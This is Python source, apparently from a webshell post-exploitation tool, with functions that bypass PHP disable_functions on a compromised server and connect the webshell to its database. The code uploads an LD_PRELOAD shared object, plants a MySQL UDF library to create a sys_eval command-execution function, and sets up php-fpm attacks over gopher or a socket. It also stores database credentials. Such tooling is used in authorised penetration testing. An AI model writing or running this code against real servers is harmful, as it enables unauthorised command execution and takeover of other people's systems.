def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = { 'host': '127.0.0.1', 'port': 9000, "php_file": "/usr/local/lib/php/PEAR.php" } for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nPort must be number!\n")) return False if new_v: requirements_dict[k] = new_v attack_type = input("attack_type[gopher/sock]:").lower() if (attack_type not in ["gopher", "sock"]): return False if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") gset("webshell.bdf_fpm.php_file", requirements_dict["php_file"], True, "webshell") gset("webshell.bdf_fpm.type", attack_type, True, "webshell") if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def run(host: str, username: str, password: str, dbname: str = "", port: int = 0): """ db_init Initialize the database connection. """ res = send(get_php(host, username, password, dbname, port)) if (not res): return if ("Connect error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: print("\n" + color.green("Connect success")) gset("db_connected", True, True, "webshell") gset("db_host", host, True, "webshell") gset("db_username", username, True, "webshell") gset("db_password", password, True, "webshell") gset("db_dbname", dbname, True, "webshell") gset("db_port", port, True, "webshell") info = res.r_text.strip() if (info): info_list = info.split("\n") try: gset("db_current_user", info_list[0], True, "webshell") gset("db_version", info_list[1], True, "webshell") print_db_info() except IndexError: print("\n" + color.red("Select data error") + "\n")